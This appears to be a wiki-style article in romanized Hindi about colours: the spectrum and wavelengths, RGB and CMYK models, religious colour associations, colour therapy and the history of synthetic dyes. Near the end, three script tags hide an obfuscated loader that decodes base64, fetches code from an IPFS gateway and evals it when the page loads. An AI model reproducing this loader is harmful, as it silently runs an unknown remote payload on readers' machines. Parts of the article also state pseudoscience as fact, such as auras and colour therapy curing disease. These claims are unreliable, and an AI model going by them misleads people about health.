रंग

iandradhanush
Rainbow|250px|thumb rango ka hamare jivan mean bahut mahatv hai. rango se hamean vibhinn sthitiyoan ka pata chalata hai. ham apane charoan taraph anek prakar ke rango se prabhavit hote hai. rang, manavi aankhoan ke varnakram se milane par chhaya sambandhi gatividhiyoan se utpann hote haian. mool roop se iandradhanush ke sat rangoan ko hi rangoan ka janak mana jata hai, ye sat rang lal, narangi, pila, hara, asamani, nila tatha baiangani haian.

manavi gun dharm ke abhasi bodh ke anusar lal, nila v hara rang hota hai. rang vibhinn prakar ki shreniyaan evan bhautik vinirdesh vastu, prakash strot ityadi ke bhautik gunadharm jaise prakash antarlayan, vilayan, samaveshan, paravartan jude hote haian.

mukhy strot

Prism

• rango ki utpatti ka sabase prakritik strot soory ka prakash hai. soory ke prakash se vibhinn prakar ke rango ki utpatti hoti hai. prijm ki sahayata se dekhane par pata chalata hai ki soory sat rang grahan karata hai jise sookshm roop aangrezi bhasha mean VIBGYOR aur hindi mean "baian ja ni h pi na la" kaha jata hai. jo is prakar haian:-

baiangani (violet), jamuni (indigo), nila (blue), hara (green), pila (yellow), narangi (orange), lal (red)

prakash ka varn vikshepan

1. REDIRECTsaancha:mukhy

• jab soory ka prakash prijm se hokar gujarata hai, to vah apavartan ke pashchath prijm ke adhar ki or jhukane ke sath-sath vibhinn rangoan ke prakash mean bant jata hai. is prakar se shvet prakash ka apane avayavi rangoan mean vibhakt hone ki kriya ko varn vikshepan kahate haian.
• soory ke prakash se prapt rangoan mean baiangani rang ka vikshepan sabase adhik evan lal rang ka vikshepan sabase kam hota hai.

prakash ka apavartanaank

1. REDIRECTsaancha:mukhy

paradarshi padarth mean jaise-jaise prakash ke rangoan ka apavartanaank badhata jata hai, vaise-vaise us padarth mean usaki chal kam hoti jati hai. jaise- kaanch mean baiangani rang ke prakash ka veg sabase kam tatha apavartanaank sabase adhik hota hai tatha lal rang ka veg sabase adhik evan apavartanaank sabase kam hota hai.

rang ki avriti v tarangadairdhy aantaral

soory se prapt mukhy rang baiangani, nil, nila, pila, narangi v lal hai. pratyek rang ki tarangadairdhy alag hoti hai. rango ki vibhinn avritiyoan v tarangadairdhy ko nimn talika dvara spasht kiya ja sakata hai-

rang	avriti vistar	tarangadairdhy vistar
baiangani	6.73 - 7.6	3800 Å se 4460 Å
nila	6.47 - 6.73	4460 Å se 4640 Å
asamani nila	6.01 - 6.47	4640 Å se 5000 Å
hara	5.19 - 6.01	5000 Å se 5780 Å
pila	5.07 - 5.19	5780 Å se 5920 Å
narangi	4.84 - 5.07	5920 Å se 6200 Å
lal	3.75 - 4.84	6200 Å se 7800 Å

rangoan ka namakaran

thumb|250px|rang chakr
Colour wheel har sabhyata ne rang ko apane lihaj se gadha hai lekin ittephak se kisi ne bhi zyada rangoan ka namakaran nahian kiya. zyadatar bhashaoan mean rangoan ko do hi tarah se baanta gaya hai. pahala saphed yani halka aur kala yani chatak aandaj lie hue.

• arastu ne chauthi shatabdi ke eesapoorv mean nile aur pile ki ginati praranbhik rango mean ki. isaki tulana prakritik chijoan se ki gee jaise sooraj-chaand, stri-puroosh, phailana-siku dana, din-rat, adi. yah taqariban do hazar varshoan tak prabhavi raha.
• 17-18vian shatabdi mean nyootan ke sidhdaant ne ise samany rangoan mean badal diya. 1672 mean nyootan ne rango par apana pahala pepar prastut kiya tha jo bahut vivadoan mean raha.
• gothe ne nyootan ke siddhaant ko poori tarah nakarate hue thyori aauf kalars (Theory Of Colours) namak kitab likhi. gothe ke siddhaant arastu se milate haian. gothe ne kaha ki gahare aandhere mean se sabase pahale nila rang nikalata hai, yah gaharepan ko darshata hai. vahian ugate hue sooraj mean se pila rang sabase pahale nikalata hai jo halke rangoan ka pratinidhitv karata hai.
• 19 vian shatabdi mean kalar therepi ka prabhav kam hua lekin 20vian shatabdi mean yah ne svaroop mean paida hua. aj ke kee d aauktar kalar therepi ko ilaj ka badhiya madhyam manakar isaka istemal karate haian.
• rang visheshajn manate haian ki hamean prakriti se sanidhy banate hue rangoan ko kalar therepi ke bajav jindagi ke taur par apanana chahie. rangoan ko samajhane mean sabase b da yogadan un logoan ne kiya jo vijnan, ganit, tatv vijnan aur dharmashastr ke anusar kam karate the.
• astavald namak vaijnanik ne ath adarsh rango ko vishesh kram se ek kram mean sanyojit kiya. is chakr ko astavald varn chakr kahate hai. is chakr mean pradarshit kiye gaye ath adarsh rango ko nimn vishesh kram mean pradarshit kiya ja sakata hai-

thumb|250px|rang birangi pensil

• • pila
  • narangi
  • lal
  • baiangani
  • nila
  • nilamani ya asamani
  • samudri hara
  • dhani ya patti hara

rango ke prakar

rango ko tin bhago mean vibhajit kiya ja sakata hai-

• prathamik rang ya mool rang
• dvitiyak rang
• virodhi rang

prathamik rang ya mool rang

1. REDIRECTsaancha:mukhy

prathamik rang ya mool rang ve hai jo kisi mishran ke dvara prapt nahian kiye ja sakate hai. ye rang nimn hai-

• lal
• nila
• hara

dvitiyak rang

1. REDIRECTsaancha:mukhy

dvitiyak rang ve rang hote hai jo do prathamik rango ke mishran se prapt kiye jate hai. dvitiyak rang rani, siyan v pila hai. inhe do bhago mean vibhajit kiya ja sakata hai- thumb|250px|rang birangi patangean
Colourful Kites

• garm rang
• thande rang

jin rango mean lal rang ka prabhav mana jata hai unhean garm rang kaha jata hai. garm rang nimn hai-

• pila
• lal
• narangi
• baiangani

jin rango mean nile rang ka prabhav mana jata hai unhean than de rang kaha jata hai. than de rang nimn hai-

• nilamani ya asamani
• samudri hara
• dhani ya patti hara

virodhi rang

1. REDIRECTsaancha:mukhy

prathamik v dvitiyak rangoan ke mishran se jo rang banate hai unhean virodhi rang kaha jata hai. astavald varn chakr mean pradarshit kiye gaye amane samane ke rang virodhi rang kahalate hai. jaise- nile ka virodhi rang pila, narangi ka asamani v baiangani ka virodhi rang dhani hai.

lal hara v nila pratiroop

lal hara v nila rang pratiroop ek aisa pratiroop hai jisamean lal, hare aur nile rang ka prakash vibhinn prakar se mishrit hokar rangoan ki ek vistrit sarani ka nirman karate haian. lal hara v nila rang pratiroop ka nam tin prathamik rang lal, hare aur nile rang ke aangreji nam ke pahale akshar se ju dakar bana hai. ar ji bi rang m aaudal ka mukhy uddeshy sanvedan, pratinidhitv, aur ilektr aaunik pranaliyoan mean tivi aur kanpyootar jaise chitr, ke pradarshan ke lie hota hai. halaanki yah bhi paranparik photographi mean prayog kiya gaya hai. nile, hare v lal rangoan ko paraspar upayukt matra mean milakar any rang prapt kiye ja sakate haian tatha inako barabar-barabar matra mean milane se shvet prakash prapt hota hai.

lal hara nila pratirup

120px|lal hara nila pratirup

[[chitr:Red-Mode.jpg|120px|lal pratirup]]

[[chitr:Green-Mode.jpg|120px|hara pratirup]]

[[chitr:Blue-Mode.jpg|120px|nila pratirup]]

si em vaee ke pratirup

kyan, maianjeta (rani), pila v kala rang pratiroop ek vyakalit varn pratiroop hai jise chaturvarn bhi kaha jata hai. si em vaee ke pratirup rangin mudran mean prayog kiya jata hai. si em vaee ke pratiroop kisi vishisht tarangadairghy ko sokhakar, kary karata hai. aise pratiroop ko vyakalit pratiroop kahate haian, kyoanki yah syahi shvet mean se ujjvalata ko ghata deta hai.

si em vaee ke pratirup

120px|si em vaee ke pratirup

[[chitr:Cyan-Mode.jpg|120px|kyan pratirup]]

[[chitr:Magenta-Mode.jpg|120px|maianjeanta pratirup]]

[[chitr:Yellow-Mode.jpg|120px|pila pratirup]]

[[chitr:Black-Mode.jpg|120px|kala pratirup]]

rangoan ka mahatv

[[chitr:Rgb-mix.jpg|lal, hara v nila pratiroop|thumb|200px]] in rangoan ko dekhakar hi ham sthiti ke bare mean pata lagate hai. iandradhanush ke rangoan ki chhata hamare man ko bahut akarshit karata hai. ham rangoan ke bina apane jivan ki kalpana bhi nahian kar sakate haian. rangoan ke bina hamara jivan thik vaisa hi hai, jaise pran bina sharir. balyavastha mean bachche rangoan ki sahayata se hi vastuoan ko pahachanata hai. yuvak rangoan ke madhyam se hi sansar ka sarjan karata hai. vriddh ki kamazor aankhean rango ki sahayata se vastuoan ka nam prapt karati hai.

"prakriti ki sundarata avarnaniy hai aur isaki sundarata me char chaand lagate hai ye rang. soory ki lalima ho ya khetoan ki hariyali, asaman ka nilapan ya meghoan ka kalapan, barish ke bad me bikharati indradhanush ki anokhi chhata, barph ki saphedi aur na jane kitane hi khoobasoorat nazare jo hamare aantarang atma ko praphullit karata hai. is anand ka raj hai rangoan ki anubhooti. manav jivan rangoan ke bina udas aur suna hai. mukhyat: sat rangoan ki is srishti me har ek rang hamare jivan par asar chho data hai. koee rang hamean uttejit karata hai to koee rang pyar ke liye prerit karata hai. kuchh rang hamean shaanti ka ehasas karata hai to kuchh rang matam ka pratik hai. doosare shabdoan me kah sakate hai ki hamare jivan par rang ka bahut asar hai. har ek rang alag-alag iansan par alag-alag tarike se andolit karata hai.

dharmik mahatv

rango ka mahatv hamare jivan mean pauranik kal se hi raha hai. hamare devi-devataoan ko bhi kuchh khas rang vishesh priy haian. yahaan tak ki ye vishesh rangoan se pahachane bhi jate haian.

priy rang	devi-devata	mahatv
lal	lakshmi	maan lakshmi ko lal rang priy hai. lal rang hamean age badhane ki prerana deta hai.
pila	krishna	bhagavan krishna ko pitaanbaradhari bhi kahate haian, kyoanki ve pile rang ke vastroan se sushobhit rahate haian.
kala	shanidev	shanidev ko kala rang priy hai. kala rang tamas ka karak hai.
saphed	brahma	brahma ke vastr saphed haian, jo is bat ko pramanit karate haian ki brahm, yani eeshvar sabhi logoan ke prati saman bhav rakhate haian.
bhagava		sannyasi bhagava vastr pahanate haian. bhagava rang lal aur pile rang ka mishran hai.

rangoan ka prabhav

ham hamesha se dekhate ae haian ki devi-devataoan ke chitr mean unake mukh mandal ke pichhe ek abhamandal bana hota hai. yah abha mandal har jivit vyakti, pe d-paudhe adi mean nihit hota hai. is abhamandal ko kiraliyan photographi se dekha bhi ja sakata hai. yah abhamandal sharir se 2" se 4" ki doori par dikhaee deta hai. isase pata chalata hai ki hamara sharir rangoan se bhara hai. hamare sharir par rangoan ka prabhav bahut hi sookshm prakriya se hota hai sabase upayogi soory ka prakash hai. isake atirikt hamara rangoan se bhara ahar, ghar ya kamaroan ke rang, kap de ke rang adi bhi sharir ki oorja par prabhav dalate haian. ilaj ki ek paddhati 'rang chiktisa' adharit hai. manorog sanbandhi mamaloan mean bhi is chiktisa paddhati ka anukool prabhav dekha gaya hai. soory ki kiranoan se hamean sat rang milate haian. soory se milane vale sat rang haian- lal, narangi, pila, hara, asamani, nila aur jamuni. inhian sat rangoan ke mishran se lakhoan rang banae ja sakate haian. vibhinn rangoan ke mishran se das lakh tak rang banae ja sakate haian lekin sookshmata se 378 rang hi dekhe ja sakate haian. har rang ki ek tasir hoti hai. garm aur thandi. hare, nile, baiangani aur inase milate-julate rangoan ka prabhav vatavaran mean thandak ka ehasas karata hai. vahian doosari or pile, lal v inake mishran se bane rang vatavaran mean garmi ka abhas dete haian. inhian rangoan ki sahayata se vastusthiti tatha prabhavoan ko bhramak bhi banaya ja sakata hai.

sujhav

• yadi kamare mean roshani kam ati ho to hamean is tarah ke rangoan ka prayog karean jisase aandhera aur n badhane paye. yahaan saphed, gulabi, halka santari, halka pila, halka baiangani rangoan ka prayog kiya ja sakata hai. yah rang kamare mean chamak bhi laeange.
• chhote kamare ko b da dikhane ke lie chhat par saphed rang ka prayog kiya ja sakata hai.
• jin kamaroan ki chau़ daee kam ho unhean b da dikhane ke lie divaroan par alag-alag rang kiya ja sakata hai. gahare rang chhoti divaroan par evan halke rang lanbi divaroan par karean.
• yadi chhota dibbenuma kamara hai to use b da dikhane ke lie to usaki tin divaroan par ek rang aur chauthi divar par alag rang karean.

rangoan ka chunav

rangoan ka chunav bahut se pahaluoan par nirbhar karata hai prakash ki upalabdhata, apani pasand, kamaroan ka saeej adi. kabhi-kabhi sahi rang ka chunav jivan ko ek mahatvapoorn ghumav de deta hai aur kee bar apane lie viparit rangoan ke prayog se ham anajane hi musibatoan ko bulava de dete haian.

svasthy par rang ka prabhav

manav svasthy par rangoan ka bahut adhik prabhav p data hai. ayurved chikitsa mean sharir ke kisi bhi rog ka mukhy karan vat, pitta aur kaph ko mana jata hai. rang chikitsa ki manyata ke anusar sharir mean hare, nile v lal rang ke asantulan se bhi rog utpann hote haian. isalie vat mean rakt vikar ko ham hare rang ke upayog se door kar sakate hai. kaph mean sardi ki adhikata ko ham lal, pile v narangi rang ke upayog se door kar sakate hai aur pitta mean garmi ki adhikata ko ham nile, baiangani rang ke prayog se door kar sakate hai.

rangoan ka prabhav sharir ke aangoan par

rang	granthi	vitamin
lal	livar	e
narangi	thayarayad	bi 12
pila	aankh ki putali ke bhitar ki jhilli	bi
hara	pitayoochari	si
gahara nila	piniyal	di
halka nila (iandigo)	pairathayarayad	ee
baiangani	pliha	ke

vastuoan ke rang

vastu jis rang ki dikhaee deti hai, vah vastav mean usi rang ko paravartit karati hai, shesh sabhi rangoan ko avashoshit kar leti hai. jo vastu sabhi rangoan ko paravartit kar deti hai, vah shvet dikhalaee p dati hai, kyoanki sabhi rangoan ka mishrit prabhav saphed hota hai. jo vastu sabhi rangoan ko avashoshit kar leti hai v kisi bhi rang ko paravartit nahian karati hai vah kali dikhaee deti hai. isalie jab lal gulab ko hara shishe ke madhyam se dekha jata hai, to vah kala dikhalaee p data hai, kyoanki use paravartit karane ke lie lal rang nahian milata aur hare rang ko kala rang avashoshit kar leta hai. vibhinn vastuoan par vibhinn rangoan ki kiranean dalane par ve kis tarah ki dikhati hai ise nimnalikhit talika mean dekha ja sakata hai:-

vastu ke nam	saphed kiranoan mean	lal kiranoan mean	hari kiranoan mean	pili kiranoan mean	nili kiranoan mean
saphed kagaz	saphed	lal	hara	pila	nila
lal kagaz	lal	lal	kala	kala	kala
hara kagaz	hara	kala	hara	kala	kala
pila kagaz	pila	kala	kala	pila	kala
nila kagaz	nila	kala	kala	kala	nila

kritrim rang

rang hajaroan varshoan se hamare jivan mean apani jagah banae hue haian. bina rangoan ke hamara jivan bhi niras sa ho jaega. jahaan ajakal kritrim rangoan ka upayog joroan par hai vahian praranbh mean log prakritik rangoan ko hi upayog mean late the. ullekhaniy hai ki mohan jod do aur h dappa ki khudaee mean siandhu ghati sabhyata ki jo chijean milian unamean aise bartan aur moortiyaan bhi thian, jin par rangaee ki gee thi. unamean ek lal rang ka kap de ka tuk da bhi mila. visheshajnoan ke anusar is par majith ya majishh‍tha ki j d se taiyar kiya gaya rang chadhaya gaya tha. hajaroan varshoan tak majith ki j d aur bakkam vriksh ki chhal lal rang ka mukhh‍y srot thi. pipal, goolar aur pak d jaise vrikshoan par lagane vali lakh ki krimiyoan ki lah se mahaur rang taiyar kiya jata tha. pila rang aur siandoor haldi se praph‍t hota tha.

rangoan ki talash

karib sau sal pahale pashchim mean huee audyogik kraanti ke phalash‍varoop kap da udyog ka teji se vikas hua. rangoan ki khapat badhi. prakritik rang simit matra mean upalabdh the. isalie badhi huee maang ki poorti prakritik rangoan se sanbhav nahian thi. aisi sthiti mean kritrim rangoan ki talash aranbh huee. unhian dinoan r aauyal k aaulej aauph kemistri, landan mean viliyam parkisan enilin se maleriya ki dava kunain banane mean jute the. tamam prayog ke bad bhi kunain to nahian ban payi, lekin baiangani rang jaroor ban gaya. mahaj sanyogavash 1856 mean taiyar hue is kritrim rang ko mov kaha gaya. age chalakar 1860 mean majeanta, 1862 mean enalon blyoo aur enalon blaik, 1865 mean bismaee braun, 1880 mean katan blaik jaise rasayanik rang astitv mean a chuke the. shuroo mean yah rang tarakol se taiyar kie jate the. bad mean inaka nirman kee any rasayanik padarthoan ke sahayog se hone laga. jarman rasayanashastri edolph phon ne 1865 mean kritrim nil ke vikas ka kary apane hath mean liya. kee asaphalataoan aur lanbi mehanat ke bad 1882 mean ve nil ki sanrachana nirdharit kar sake. isake agale varsh rasayanik nil bhi banane lage. is mahatvapoorn kary ke lie biyar sahab ko 1905 ka nobel puraskar bhi praph‍t hua tha. muanbee ka rang ka dhandha karane vali kamarajaji namak pharm ne sabase pahale 1867 mean majeanta ka ayat kiya tha. 1872 mean jarman rang vikretaoan ka ek dal elijirin namak rang lekar yahaan aya tha. in logoan ne bharatiy rangareanjoan ke bich apana rang chalane ke lie tamam hathakande apanae. aranbh mean unhoanne namoone ke roop mean apane rang mupht baante. namamatr ki kimat par udhar beche. bad mean achchha khasa byaj vasoola. vanaspati rangoan ke mukabale rasayanik rang kaphi saste the. inamean tatkalik chamak-damak bhi khoob thi. yah asani se upalabdh bhi ho jate the. isalie hamari prakriti rangoan ki paranpara yah rang asani se kabja jamane mean kamayab ho ge..

tika tippani aur sandarbh

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

• ye khane vale rang hi karate haian hamari sehat berang

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>